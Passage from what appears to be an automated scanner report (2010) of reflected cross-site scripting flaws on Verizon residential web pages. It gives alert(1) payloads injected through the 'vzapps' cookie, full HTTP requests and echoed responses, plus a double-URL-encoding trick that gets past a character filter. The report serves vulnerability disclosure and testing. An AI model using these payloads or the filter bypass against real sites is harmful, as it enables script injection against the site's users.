NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 8433f<script>alert(1)</script>f7bb2ecc4fa was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/standardBundles HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX8433f<script>alert(1)</script>f7bb2ecc4fa; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload edaba<script>alert(1)</script>6ae0945e4dc was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiosinternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXedaba<script>alert(1)</script>6ae0945e4dc; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 76fe5'><script>alert(1)</script>3b33fa14b71 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiosinternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX76fe5'><script>alert(1)</script>3b33fa14b71; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7d0c5'><script>alert(1)</script>43771b3ed61 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiostv HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX7d0c5'><script>alert(1)</script>43771b3ed61; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 1308a<script>alert(1)</script>db496b94b77 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiostv HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX1308a<script>alert(1)</script>db496b94b77; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 58ed3'><script>alert(1)</script>0170848a901 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/internet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX58ed3'><script>alert(1)</script>0170848a901; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 73115 Expires: Sat, 20 Nov 2010 02:34:34 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:34:34 GMT Connection: close Set-Cookie: ContextInfo_State=TX58ed3'><script>alert(1)</script>0170848a901; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet </title><meta name="keywords" content="verizon internet services, verizon internet products, ISP, internet service, fios internet ...[SNIP]... <input type='hidden' id='locationInfo' value='TX58ED3'><SCRIPT>ALERT(1)</SCRIPT>0170848A901 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 440a7<script>alert(1)</script>c3c99db1614 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/internet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX440a7<script>alert(1)</script>c3c99db1614; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 71515 Expires: Sat, 20 Nov 2010 02:34:39 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:34:39 GMT Connection: close Set-Cookie: ContextInfo_State=TX440a7<script>alert(1)</script>c3c99db1614; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet </title><meta name="keywords" content="verizon internet services, verizon internet products, ISP, internet service, fios internet ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TX440A7<SCRIPT>ALERT(1)</SCRIPT>C3C99DB1614 </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86d8a%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e846110cd72c was submitted in the vzapps cookie. This input was echoed as 86d8a"><img src=a onerror=alert(1)>846110cd72c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the vzapps cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /residential/specialoffers/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX86d8a%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e846110cd72c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET ETag: X-Powered-By: ASP.NET Content-Type: text/html Expires: Sat, 20 Nov 2010 02:32:46 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:32:46 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: ASPSESSIONIDCSBCCATB=CIFHEODCPMMECMCGGBNGIKGB; path=/ Content-Length: 126538
<!-- Vignette V6 Fri Nov 19 18:32:45 2010 -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload b345f<script>alert(1)</script>7ee3ccadb71 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residentialhelp HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXb345f<script>alert(1)</script>7ee3ccadb71; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response (redirected)
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 175791 Expires: Sat, 20 Nov 2010 01:45:21 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:45:21 GMT Connection: close
<HTML xmlns:vz> <HEAD id="ctl00_head"><title> Verizon | Residential Support </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><meta content="Microsoft Vis ...[SNIP]... </strong>, TXb345f<script>alert(1)</script>7ee3ccadb71 </span> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 507fa<script>alert(1)</script>414136f05bc was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /foryourhome/fttprepair/nr/common/MainMenu.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX507fa<script>alert(1)</script>414136f05bc; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response (redirected)
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 175791 Expires: Sat, 20 Nov 2010 01:44:52 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:44:52 GMT Connection: close
<HTML xmlns:vz> <HEAD id="ctl00_head"><title> Verizon | Residential Support </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><meta content="Microsoft Vis ...[SNIP]... </strong>, TX507fa<script>alert(1)</script>414136f05bc </span> ...[SNIP]...
Report generated by Hoyt LLC at Fri Nov 19 22:56:42 CST 2010.